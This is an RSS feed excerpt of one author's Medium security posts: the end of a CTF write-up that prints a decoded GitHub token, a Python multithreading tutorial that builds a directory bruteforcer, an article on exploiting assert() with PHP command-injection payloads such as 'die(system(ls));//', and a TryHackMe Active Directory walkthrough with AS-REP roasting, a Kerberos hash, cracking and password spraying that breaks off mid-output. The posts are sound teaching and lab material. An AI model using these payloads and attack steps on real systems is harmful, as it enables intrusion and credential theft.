src="https://cdn-images-1.medium.com/max/1024/1*HXzI-LGK5P6a7_5c476o5A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8hNjiHowjmC3hOwSEwYkRg.jpeg" /></figure><p>In this file we find the Token to Clone the Repo</p><p>The token was Base64 Encoded: <strong>Z2hwX2g2c1NKdXpHbUJ1SEszM0FVMnNwT3V5WHpVMDVJeDB6OXN6cA==</strong></p><p>Decoding it gives us: <strong>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</strong></p><h3>Tracking the Commits</h3><p>Cloning the Repo doesn’t give us anything Interesting, so it was time for Looking through the Commit History.</p><p>Initial Search gives us this, although it’s Interesting but we don’t need this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*R7KBZlhGskBPxJzQ2q9pdQ.jpeg" /></figure><p>After Undoing the Commits we find Something Very Interesting, It’s the <strong>Flag</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*lkAfQ6K_QJsAFTEUl1QZTA.jpeg" /></figure><p>Finally, We Found the Level 2 Flag</p><blockquote>Level 2 Flag: CTF{Congratulations_Level02_Completed}.html</blockquote><h3>Concluding the Hunt</h3><p>This CTF threw some amazing challenges, a few being From Real World and Others from the imaginary world just like Harry Potter.</p><p>Thanks a lot for reading. Share if you like it 😇😇</p><p>Follow me here on <a href="https://mayank-01.medium.com/follow"><strong><em>Medium </em></strong></a>and <a href="https://mayank-01.medium.com/subscribe"><strong><em>Subscribe to the Mailing list </em></strong></a><strong>💌 </strong>if you would like to get my articles when I publish them.✨✨</p><p>You can find me on Twitter: <a href="https://twitter.com/mayank_pandey01"><strong>mayank_pandey01</strong></a><strong> 👻</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eae4229b561c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/cloudsek-ewyl-2022-ctf-eae4229b561c">CloudSek EWYL 2022 CTF</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Create a Multithreaded Directory Bruteforcer]]></title>
            <link>https://python.plainenglish.io/creating-a-multithreaded-directory-bruteforcer-f1a77b6ddded?source=rss-c066ab159c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1a77b6ddded</guid>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Mayank Pandey]]></dc:creator>
            <pubDate>Mon, 07 Feb 2022 06:09:46 GMT</pubDate>
            <atom:updated>2022-02-09T13:01:39.498Z</atom:updated>
            <content:encoded><![CDATA[<h4>Understanding Multithreading in Python for Beginners</h4><p>If you have started in Coding or Use Programming tools you might have heard the terms like “Multiprocessing” or“Multithreading”, if you haven&#39;t yet learned these things then this will help you comprehend these wonderful programming concepts in an uncomplicated way. In this article, we will only discuss <strong>Multithreading.</strong></p><p>So let&#39;s start this thrilling learning voyage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r5vhPIYM_oq3qyvR.png" /><figcaption>Photo by <a href="https://realpython.com/">RealPython</a></figcaption></figure><p>Multithreading first appeared in the 1950s, and simultaneous multithreading (SMT) was investigated by IBM in 1968. Before this, all the CPUs were only capable to spawn a single thread for each process.</p><p>Most attempts at a history of multithreaded processors start with the PPUs in the CDC 6600. However, the idea of sharing a single execution path among multiple threads of execution started at least a decade earlier.</p><p>Few of the most starting approaches for multiprocessing.</p><ul><li>NBS SEAC (1950) and DYSEAC (1954) — two threads</li><li>Lincoln Labs TX-2 (the late 1950s) — up to 33 threads</li></ul><h3>What is a Thread?</h3><p>A <strong>thread</strong> is a sequence of such instructions within a program that can be executed independently of other code. For simplicity, you can assume that a thread is simply a subset of a process!</p><p>All Threads run inside a single process and share the same memory space with each other.</p><p>A thread contains all this information in a <strong>Thread Control Block (TCB)</strong>:</p><ul><li><strong>Thread Identifier:</strong> Unique id (TID) is assigned to every new thread</li><li><strong>Stack pointer:</strong> Points to thread’s stack in the process. Stack contains the local variables under the thread’s scope.</li><li><strong>Program counter:</strong> a register that stores the address of the instruction currently being executed by the thread.</li><li><strong>Thread state:</strong> can be running, ready, waiting, starting, or done.</li><li><strong>Thread’s register set:</strong> registers assigned to thread for computations.</li><li><strong>Parent process Pointer:</strong> A pointer to the Process control block (PCB) of the process that the thread lives on.</li></ul><p>You can play with these pieces of information using a simple program, we can even use these to make complex programs and manage the threads efficiently.</p><p>For example, a <strong>Thread Identifier(TID) </strong>can be used to stop, get more information about a running thread in case of the thread gets blocked due to some error.</p><h3>What is MultiThreading</h3><p><strong>Multithreading</strong> is defined as the ability of a processor to execute multiple threads concurrently.</p><p>Threads can be classified into one of two categories:</p><ul><li>CPU bound: These use the CPU intensively.</li><li>I/O bound: These frequently get blocked because of an I/O operation, leaving the CPU idle.</li></ul><p>Using only Multithreading without Multiprocessing in CPU-bound cases won&#39;t give us much benefit in terms of speed, in these cases, we can use MultiProcessing+Multithreading But we will not discuss that here.</p><p>Multithreading works best for I/O bound cases.</p><pre><strong>Approach       Python package     Better when bound to:    Parallel?</strong></pre><pre>Threading        threading              I/O                   No</pre><pre>Multiprocessing  multiprocessing        CPU                   Yes</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/0*OFHO8fZCjPFxzBg2.png" /><figcaption>By <a href="https://www.geeksforgeeks.org/">GeeksForGeeks</a></figcaption></figure><h3>Why use Multi-Threading?</h3><p>One word answer to this can be <strong>“For a Fast Application”, </strong>there can be scenarios when you might want want to use Multiprocessing Instead of Multithreading but that&#39;s a story for another time.</p><p>Let&#39;s consider a situation for understanding this in a Proper way.</p><p>We want to make a function (<strong>func()</strong>)to download 50 images from a website. We send a <strong>request to the server</strong> → <strong>Response received in 4 seconds. </strong>Then we send another request, it waits for 4 seconds and we continue this process for all the image URLs we have.</p><p>Notice that here we are wasting a lot of time just waiting for the Server to respond back to our request. The function is bound by the Input/Output Process. Whenever a thread begins sleeping or awaiting network I/O, there is a chance for another thread to take the GIL and execute Python code.</p><p>In this case, we can use Multithreading to spawn multiple threads when the previous one waits for the response from the server, doing this we can save a lot of time by not just waiting around for the response. Python threads can also wait for <strong>threading.Lock</strong> or other synchronization objects from the threading module</p><p><em>A visual representation of the above scenario.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kj3NcPZLnozTjUwMwBAZPw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sohoZfPYmLnyhMhrC1glRA.jpeg" /><figcaption>Single-Threaded Program and Multi-Threaded Program By <a href="http://coreyms.com/">Corey Schafer</a></figcaption></figure><h3>Global Interpreter Lock(GIL)</h3><p>A global interpreter lock (GIL) is a mechanism to apply a global lock on an interpreter. It is used in computer-language interpreters to synchronize &amp; manage the execution of threads so that only one native thread (scheduled by the operating system) can execute at a time.</p><p>In a scenario where we have multiple threads, what can happen is that both the thread might try to acquire the memory at the same time, and as a result of which they would overwrite the data in the memory. Hence, arises a need to have a mechanism that could help prevent this phenomenon.</p><p>This phenomenon can lead to a Security Vulnerability Known as <strong>Race Condition.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/0*XmpsP7KaPFtCaVHe.png" /><figcaption>From Internet</figcaption></figure><p>Let’s take a moment &amp; understand the above diagram. As we can see, there is a factorialfunction &amp; two threads 1 &amp; 2, Thread 1 is in the locked state while thread 2 is in a wait state. This means that only one of the threads is able to access the function.</p><p>Now, let&#39;s assume that the factorial function takes 2 seconds to complete. Then, in an ideal case, both the threads should be able to finish the execution in 2 seconds. However, this is not the case in Python, both the threads will run serially &amp; not parallel to each other as in this case we are bounded by CPU to perform a limited number of calculations.</p><p>Hence, GIL.</p><ul><li>Limits the threading operation</li><li>Parallel execution is restricted</li><li>The GIL ensures that only one thread runs in the interpreter at once</li><li>It helps in simplifying various low-level details like memory management</li></ul><h3>Making a Directory Bruteforcer</h3><p>We have learned a few basic things about Multithreading, now it&#39;s time to implement it to make a real-life tool. We will create a Directory Bruteforcing tool to find different directories on a web server.</p><h4>Approach</h4><p>There are a few different ways to implement Multithreading in Python, Using <strong>threadPoolExecutor,</strong> <strong>Threading Module, Using Queue() Implementation in Threading Module, etc.</strong></p><p>We will Use the Threading Module to implement it.</p><p>First of all, we need to Read a wordlist file. We will transfer the whole Wordlist to a <strong>Python List</strong>. We will now divide this <em>list </em>into smaller chunks of <em>lists </em>depending upon the number of threads we want to execute.</p><pre>len(Original_list)=500</pre><pre>Num_Of_Threads=50</pre><pre>Chunk_Length=len(Original_list)// Num_Of_Threads</pre><pre>New_list= Chunks of lists of Chunk_Length<br></pre><p>After making Chunks of lists, we will pass this list to make requests and check whether the passed words inside the Chunked list are a valid directory or not.</p><h4><strong><em>Here is the whole </em></strong><a href="https://github.com/kurogai/100-redteam-projects/tree/master/Projects/Directory_BruteForcer"><strong><em>code </em></strong></a><strong><em>🔗</em></strong></h4><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a48c8194ebc0191b110a620ec7bf0008/href">https://medium.com/media/a48c8194ebc0191b110a620ec7bf0008/href</a></iframe><h4>Code Dissection</h4><p>Now let&#39;s discuss in detail what each function does in this code.</p><p><strong>Importing and Usage Details</strong></p><pre>from threading import Thread<br>import time,requests,sys,os.path </pre><pre>def usage():    <br>    print(&quot;----------USAGE INSTRUCTION ---------&quot;)    <br>    print(f&quot;{sys.argv[0]} URL WORDLIST NUMBER_OF_THREADS&quot;)    <br>    sys.exit()</pre><p>These starting lines Import the Threading and Other Modules. <strong>Usage() </strong>function shows the user how to use the program, it gets triggered in case of not enough command-line arguments</p><p><strong>Preparing Chunks of List</strong></p><pre>def prepare(myList,numOfChunks):    <br>    for i in range(0, len(myList), numOfChunks):        <br>    yield myList[i:i + numOfChunks]</pre><p>This function implements the chunking logic described in the above lines. This is where the Number of Threads Comes into Play, we chunk the main list according to it.</p><p><strong>Logic For Multithreading.</strong></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7daa56d185baf06213e52f2422e13567/href">https://medium.com/media/7daa56d185baf06213e52f2422e13567/href</a></iframe><p>We define 2 Functions <strong>brute()</strong> &amp; <strong>worker(). </strong>Threads will start from the brute() function and the worker() function will process the requests</p><pre>threads.append(Thread(target=worker,args=(lists,url),daemon=True))</pre><p>We will take the lists from the Chunked list and starts Threads with it.</p><p>The Threads will have the worker function as the <strong>target, </strong>these will be appended to the list containing all the Threads.</p><p>After this, all the Threads will be started and Joined.</p><pre>for thread in threads:  <br>    thread.start()        <br>for thread in threads:        <br>    thread.join()</pre><ul><li><strong>thread.start()</strong></li></ul><p>When a thread <strong>instance</strong> is created, it doesn’t start executing until its <strong>start() </strong>method (which invokes the target function with the arguments you supplied) is invoked. Once started, threads run independently until the target function returns</p><ul><li><strong>thread.join()</strong></li></ul><p>On invoking the <strong>join() </strong>method, the calling thread gets blocked until the thread object (on which the thread is called) gets terminated. The thread objects can terminate under any one of the following conditions:</p><ul><li>Either normally.</li><li>Through an ill-handled exception.</li><li>Till the optional timeout occurs.</li></ul><p>This helps in all the threads completing their work and exiting normally.</p><p>After the <strong>worker </strong>method is closed(all threads are closed) the control will return back to the <strong>brute() </strong>function and then the normal flow of function will carry on.</p><p>In this way, you can create a simple tool Using Multithreading. Remember not to use too many threads to run your program it may crash every other program if not handled properly.</p><h3><strong>Notes 📒</strong></h3><p>This is <strong>NOT </strong>a complete tutorial on Multithreading, I just scratched the surface here. My main goal was to teach how to implement it in a code.</p><p>I encourage you to learn more about it in your own time. Feel free to connect with me in any doubt.</p><p>Many of the resources including images, definitions are taken from the Internet, I mentioned the source of the information wherever I can.</p><p>This will be it for this time and do share your points if you want me to add them here.</p><p>Thanks a lot for reading. Share if you like it 😇😇</p><p><em>Follow me here on </em><a href="https://mayank-01.medium.com/follow"><strong><em>Medium </em></strong></a><em>and </em><a href="https://mayank-01.medium.com/subscribe"><strong><em>Subscribe to the Mailing list</em></strong></a><strong><em> 💌 </em></strong><em>if you would like to get my articles when I publish them.✨✨</em></p><p><em>My GitHub: </em><a href="https://github.com/MayankPandey01"><strong><em>MayankPandey01</em></strong></a><strong><em> 👨‍💻</em></strong></p><p><em>You can find me on Twitter: </em><a href="https://twitter.com/intent/follow?screen_name=mayank_pandey01"><strong><em>mayank_pandey01</em></strong></a><strong><em> 👻</em></strong></p><p><em>More content at </em><a href="http://plainenglish.io/"><strong><em>plainenglish.io</em></strong></a><em>. Sign up for our </em><a href="http://newsletter.plainenglish.io/"><strong><em>free weekly newsletter</em></strong></a><em>. Get exclusive access to writing opportunities and advice in our </em><a href="https://discord.gg/GtDtUAvyhW"><strong><em>community Discord</em></strong></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1a77b6ddded" width="1" height="1" alt=""><hr><p><a href="https://python.plainenglish.io/creating-a-multithreaded-directory-bruteforcer-f1a77b6ddded">Create a Multithreaded Directory Bruteforcer</a> was originally published in <a href="https://python.plainenglish.io/">Python in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How “assertions” can get you Hacked !!]]></title>
            <link>https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6?source=rss-c066ab159c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/da22c84fb8f6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Mayank Pandey]]></dc:creator>
            <pubDate>Wed, 22 Dec 2021 11:51:21 GMT</pubDate>
            <atom:updated>2021-12-23T06:24:43.777Z</atom:updated>
            <content:encoded><![CDATA[<h3>How “assertions” can get you Hacked !!</h3><h4>A deep dive into the assert() function and ways to exploit it!</h4><p>Hello Fellow Hackers and developers, It’s been a while since I posted any blog here. Today I will be discussing <strong>Coding+Hacking</strong>, especially about a feature present in almost every High-Level Language known as “<strong>assertion</strong>”. You will get to know What are assert() functions and different ways to exploit them in the wild. So hang tight and let&#39;s dive in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CKt7fp9beN0DiVghBVrlfw.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@tima-miroshnichenko?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Tima Miroshnichenko</a> from <a href="https://www.pexels.com/photo/close-up-view-of-system-hacking-in-a-monitor-5380664/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><h3>What is an Assertion?</h3><p>The Literal Meaning of Assertion is<em> </em><strong><em>“a statement that says you strongly believe that something is true”,</em></strong><em> </em>similarly sometimes in programming, we assume some values to be true and then Proceed with the rest of the code.</p><p>For example, we can assert <strong>that any request hitting the local SQL server must be coming from a local host thus no authentication is needed to proceed further,</strong> this whole statement already started to tickle your hacking senses and you can think of many ways in which this assertion can go wrong.</p><p>There can be many different other scenarios in which assert() can be used to capture your assumptions in the code.</p><p><em>assert() checks for a condition to be true and if it is not true then it raises an error and closes the program.</em></p><h3>How is assert() different from an if-else block?</h3><p>You may question that all this assert() function is doing that it&#39;s checking for something and then acting accordingly, so why not use if-else instead of this</p><p>assert is to document your assumptions in the code. if-else statement is to handle different logical scenarios. Let&#39;s understand it from a simple example</p><p>For example when you write</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/561822dad67353ad0aef06a78913782e/href">https://medium.com/media/561822dad67353ad0aef06a78913782e/href</a></iframe><p>you mean to say that, In my <strong>print_number</strong> function, I assume that always the pointer coming is not null. I would be very very surprised if this is null. I don’t care to handle this scenario at all in my code.</p><p>But, if you write</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/377b631e7b38942575336b18961594f0/href">https://medium.com/media/377b631e7b38942575336b18961594f0/href</a></iframe><p>You seem to say that, in my <strong>print_number</strong> function, I expect people to pass a null pointer. And I know how to handle this situation and I do handle this with an else condition.</p><p>So, sometimes you will know how to handle certain situations and you want to do that. Then, use if-else. Sometimes, you assume that something will not happen and you don’t care to handle it. You just express your surprise and stop your program execution there with assert.</p><h3>Security Pitfalls related to assert()!</h3><p>assert() works differently in different Programming languages but then also it keeps being a Security related issue.</p><h4>1: Access Control Bugs</h4><p>This is found mainly in python due to running code in optimized mode.</p><p>Now, by default Python executes with __debug__ as true, but in a production environment, it’s common to run with optimizations. This will <strong>skip the assert </strong>statement and go straight to the secure code</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f351f9fb9c250612efcee06f956ffbb0/href">https://medium.com/media/f351f9fb9c250612efcee06f956ffbb0/href</a></iframe><p>If this code is executed like python3 assert.py , then it works perfectly as expected. But if it is used with the switch -O for optimization then a serious issue can arise. According to The Official Website: -O <em>Removes assert statements and any code conditional on the value of </em><a href="https://docs.python.org/3/library/constants.html#debug__"><em>__debug__</em></a></p><p>When you run this Python program in <a href="https://docs.python.org/3/using/cmdline.html#envvar-PYTHONOPTIMIZE">optimized mode</a>, the <em>assert statement</em> is ignored and any normal user can be a <strong>Super User.</strong></p><h4>2: Denial of Service (DOS) Attack</h4><p>DoS Attacks have seen a decline in the past few years due to load distribution and better system designs but Application-level DoS is still an exciting bug in the Bug-Bounty Field. Application-level DoS can Still be Achieved due to bad code writing or minor mistakes made by developers like improper error Handling.</p><p>In this small example, you can see a Simple C++ Program taking Year of Birth as input and checking if it is <strong>&gt;18</strong> or not. At first, it all seems well and good, but in this code, no error handling is performed, it will directly result in the crashing of the program after the failure of the assert check.</p><p>This can be easily prevented by using error handling here, but it&#39;s a surprise that many developers take this lightly in Languages like C and C++.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1a8b51249bc7c20c108dccda4bc616ba/href">https://medium.com/media/1a8b51249bc7c20c108dccda4bc616ba/href</a></iframe><h4>3: A Twisted Denial of Service</h4><p>Sometimes it&#39;s not your code that can cause these DoS to happen, it can be some library that is using another library for dependency which is causing the unexpected crashing of the program. You can visualize this as a Domino, if one assert() gets false it will make all the functions inside the code exit and thus crash the entire application.</p><p>A similar Scenario happened in <strong>NodeJS, </strong>it was marked as <strong>CVE-2019–15604</strong> In this Vulnerability, <strong>an Attacker can Remotely trigger an assertion on a TLS server with a malformed certificate string causing the server to crash</strong></p><p>Initially, a Report was Submitted to NodeJS Team by <a href="https://www.linkedin.com/in/rogierschouten"><strong>Rogier Schouten</strong></a> on <a href="https://hackerone.com/reports/746733"><strong>Hackerone</strong></a><strong>,</strong> the Team Reviewed this as a <strong>Critical Vulnerability</strong> and the fix was released in a few days.</p><ul><li><strong>What was the Cause of CVE-2019–15604 ??</strong></li></ul><p>This Vulnerability exploited the getPeerCertificate() function in the socket library of NodeJS. Anybody can remotely connect to a TLS server and supply a crafted x509 certificate, which causes an assertion and the process to abort.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3b3cc1bf5114d118024fb68d3a847b4b/href">https://medium.com/media/3b3cc1bf5114d118024fb68d3a847b4b/href</a></iframe><p>Following Error was thrown when the crafted Certificate was sent to the TLS Server, it clearly shows an assertion being triggered causing the whole server to crash.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b5a04794204f90eb0597c03a67e20c43/href">https://medium.com/media/b5a04794204f90eb0597c03a67e20c43/href</a></iframe><p>The fix explained the issue in more detail.</p><p>The key property of the malformed cert is that <a href="https://nodejs.org/api/tls.html#tlssocketgetpeercertificatedetailed"><strong>subjectAltName</strong></a> contains a string with a type 23which cannot be encoded into a string by X509V3_EXT_print</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5161c50657891ba082905477aefe048a/href">https://medium.com/media/5161c50657891ba082905477aefe048a/href</a></iframe><p><strong>X509V3_EXT_print</strong> can return a value different from 1 if the <strong>X509</strong> extension does not support printing to a buffer. Instead of failing with an unrecoverable assertion, the code was replaced with the relevant value in the hashmap with a JS null value.</p><p>This Vulnerability shows how small negligence in error handling in a small library can become a Critical Point of Failure.</p><h4><strong>3: Remote Code Execution</strong></h4><p>PHP has always been a mine of crazy exploits and one of them is Remote Code Execution using the assert() function. In short words <strong>assert()+PHP===Server Pwned.</strong></p><p>Unlike every other programming language PHP gives assert() a special power, <strong>If the </strong><strong>assertion is given as a string it will be evaluated as PHP code by assert()</strong></p><p>This means if you pass a string to assert() it will act as a eval() function and can run system commands.</p><ul><li><strong>Leaking Runtime Variable</strong></li></ul><p>It is sometimes possible to leak a Runtime Variable from memory if that variable is being used to perform an assertion check.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e33094992554c48efe99f39d8b7df15f/href">https://medium.com/media/e33094992554c48efe99f39d8b7df15f/href</a></iframe><p>Here I made a simple program to compare the input to NULL using an assertion check. Now if we pass a malformed input we can see the value of the flag variable in the error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1gbo4eqaASD4Hq_tz0UHdQ.png" /></figure><p>This happens because the <strong>die</strong> function in PHP can run any system command before quitting the flow of the program. We abuse this feature and pass a string inside the assert function. Combining these two issues we can access any random variable from runtime or can <strong>execute system commands.</strong></p><p>We can exploit any Application which might directly take input from the user without sanitizing it. For this, we can send payloads like &quot;die(system(ls));//&quot; it will run ls on the system and the rest of the code after the system() will be treated as comments due to the ;// present in the payload.</p><p>The most important thing to focus on here is that we want to send a string and then run or commands using the die() function and then comment out the rest of the code. this can help us to exploit most of the use cases of the assert() function in PHP. We can think of it as <strong>SQL Injection</strong> where we run our Query and then comment out the rest of the query.</p><ul><li><strong>Bypass LFI checks and strpos() check</strong></li></ul><p>Many Application uses strpos() to check for malicious inputs in the file parameter. <strong>strpos()</strong> finds the position of the first occurrence of a substring in a string, it returns False if the given substring is not found in the given string.</p><blockquote>assert(“strpos(‘$file’, ‘..’) === false”) or die(“Detected LFI attempt!”);</blockquote><p>This kind of filter can be found in many CTF’s or even in real life to protect the Application from LFI Attacks. This filter checks the file variable for any .. pattern and if it&#39;s found then the program terminates.</p><p>We can use the same technique used above but here we have one extra function (strpos) that we need to bypass in order to run our command directly to the assert function.</p><p>&#39; and die(system(ls))or &#39; , this payload can be used to break out of strpos() and interact with the assert() function directly, and again we can run any arbitrary command on the Server.</p><h3>Mitigations 💡</h3><ul><li>Avoid Using assert() function in the Production</li><li>Take Special care on whether you are running an optimized code or not in python before using assert in the code.</li><li>Assertions should be used as a debugging feature only.</li><li>You may use them for sanity checks that test for conditions that should always be <strong>true</strong></li><li>Assertions should not be used for normal runtime operations like input parameter checks.</li><li>As a rule of thumb, your code should always be able to work correctly if assertion checking is not activated.</li><li>If using a user input directly in the assert function then try to sanitize it.</li></ul><p>This will be it for this time and do share your points if you want me to add them here.</p><p>Thanks a lot for reading. Share if you like it 😇😇</p><p>Follow me here on <strong>Medium </strong>and <strong>Subscribe to the Mailing list 💌 </strong>if you would like to get my articles when I publish them.✨✨</p><p>You can find me on Twitter: <a href="https://twitter.com/mayank_pandey01"><strong>mayank_pandey01</strong></a><strong> 👻</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da22c84fb8f6" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6">How “assertions” can get you Hacked !!</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RazorBlack-Walkthrough [THM]]]></title>
            <link>https://infosecwriteups.com/razorblack-walkthrough-thm-fde0790c182f?source=rss-c066ab159c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/fde0790c182f</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mayank Pandey]]></dc:creator>
            <pubDate>Thu, 29 Jul 2021 21:24:01 GMT</pubDate>
            <atom:updated>2021-12-20T09:55:08.335Z</atom:updated>
            <content:encoded><![CDATA[<h4>Learn How to attack Windows Active Directory through a CTF</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*_joOT04Ug4LDX_UyROqNDQ.jpeg" /></figure><h3>Description</h3><p><strong>RazorBlack</strong> is a Medium Level Room on <strong>TryHackMe</strong>. It has a rather very interesting Description <strong>“These guys call themselves hackers. Can you show them who&#39;s the boss ??</strong> ”</p><p>The goal of this Challenge is to make you familiar with Active Directory Enumeration and Exploitation. The following things are covered in this Write-up.</p><ul><li>Background</li><li>Enumerate Domain Controller</li><li>Exploiting Kerberos</li><li>Administrator Privilege Escalation</li></ul><p><a href="https://tryhackme.com/room/raz0rblack">RazorBlack</a></p><h3>Enumeration</h3><p>Let&#39;s fire up NMAP and see what it gives us</p><pre>Starting Nmap 7.80 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2021–07–17 21:34 IST<br>Nmap scan report for 10.10.25.33<br>Host is up (0.22s latency).<br>Not shown: 986 closed ports<br>PORT STATE SERVICE<br>53/tcp open domain<br>88/tcp open kerberos-sec<br>111/tcp open rpcbind<br>135/tcp open msrpc<br>139/tcp open netbios-ssn<br>389/tcp open ldapsoft-ds<br>464/tcp open kpasswd5<br>593/tcp open http-rpc-epmap<br>636/tcp open ldapssl<br>2049/tcp open nfs<br>3268/tcp open globalcatLDAP<br>3269/tcp open globalcatLDAPssl<br>3389/tcp open ms-wbt-server</pre><p>We can see here all the common Ports for an Active Directory.</p><p><strong>1: What is the Domain Name?</strong></p><p>We can perform various scans to find out the domain name, but I will use NMAP. We found that the port 389 was open so we will use it</p><blockquote>nmap -n -sV — script “ldap* and not brute” -p 389 $IP</blockquote><p>This will give Out other Important information about LDAP along with the Domain Name.</p><p><strong>2: What is Steven’s Flag?</strong></p><p>Now we need to enumerate the Machine Further.</p><h4># Port 111</h4><p>We will start from here. Since that we have verified that an NFS service is running (2049/TCP open NFS), we can deepen and see what else we can obtain.</p><blockquote>showmount -e 10.10.25.33</blockquote><pre>Export list for 10.10.25.33:<br>  /users (everyone)</pre><p><strong>/users</strong> folders can be accessed by anyone. Let&#39;s try to mount that</p><blockquote>mount 10.10.25.33:/users /mnt/users</blockquote><p>Two files are found in the share <strong>employee_status.xlsx</strong> and <strong>sbradley.txt. </strong>Find the flag inside sbradley.txt and examine another file.</p><p>The file <strong>employee_status.xlsx </strong>contains a bunch of employee names.</p><pre>daven port<br>imogen royce<br>tamara vidal<br>arthur edwards<br>carl ingram<br>nolan cassidy<br>reza zaydan<br>ljudmila vetrova<br>rico delgado<br>tyson williams<br>steven bradley<br>chamber lin</pre><p>We will make a modified users file according to the naming convention used <br><em>steven Bradley -&gt; sbradely</em></p><pre><br>dport<br>iroyce<br>tvidal<br>aedwards<br>cingram<br>ncassidy<br>rzaydan<br>lvetrova<br>rdelgado<br>twilliams<br>sbradley<br>clin</pre><p><strong>3: What is the zip file’s password?</strong></p><p>Now we have a user list so let&#39;s try it against Kerberos. We will use IMPACKET’s GetNPUsers to brute force Kerebos and the Hash of an existing user from our User List.</p><p>Add the machine IP address to the /etc/hosts file to continue this attack, Otherwise, you will not be able to use the Tool</p><blockquote>python3 GetNPUsers.py -no-pass raz0rblack.thm/ -usersfile users.txt -format hashcat -outputfile hashes.txt</blockquote><pre>cat hashes.txt</pre><pre>$krb5asrep$23$twilliams@RAZ0RBLACK.THM:f944c5614c2277ef59298b93b1e0444d$71dca0c34c4867377c6bb3a24d6496ac00339a69aa7ea9368b2dc4e3b5c7c692b95170a087cd57137076f628b2f48ec17ae51271012e9bf948d8d07ef92a84f6a2d01699fa2fc70c1551cfaccd08f3d81ce7187674a62d765dbcda4e15ed32348f6c3329d7014d959daefa42ecf0733a560e17df190a519f8daee10713f21dfb6246641f806ec0e370229705e6a65a0024b4169e0504a29b1aea2d9e02d2fe314de02cb90976038e361cfe557f94d78d7e9c05580527ec4432c16951290dbf548dc09ed09022ad72f158424fba1fe5a9a33d1f584e937410f3e4abcfe1fdb0d60addd428b1029b6fd266eda973a1f465</pre><p>Let&#39;s crack the hash.</p><pre>hashcat -m 18200 hashes.txt rockyou.txt</pre><p>Test these creds on SMB</p><pre>smbmap -H $IP -u twilliams -p roastpotatoes<br>[+] IP: 10.10.25.33:445        Name: 10.10.25.33<br>        Disk                        Comment<br>        ----                        -------<br>        ADMIN$                  Remote Admin<br>        C$                      Default share<br>        IPC$                    Remote IPC<br>        NETLOGON                Logon server share<br>        SYSVOL                  Logon server share<br>        trash                   Files Pending for deletion</pre><p>We can access IPC$ NETLOGON SYSVOL but there is nothing interesting in them. There is another folder with an interesting comment trash but we don&#39;t have permission to read it. We can brute force and see that if any other user has the same password or not.</p><p>Keep the file user.txt as used before and make a file pass.txt with the password of the previous user.</p><pre>crackmapexec smb $IP -u users.txt -p pass.txt</pre><pre>SMB         10.10.25.33    445    HAVEN-DC         [-] raz0rblack.thm\sbradley:roastpotatoes 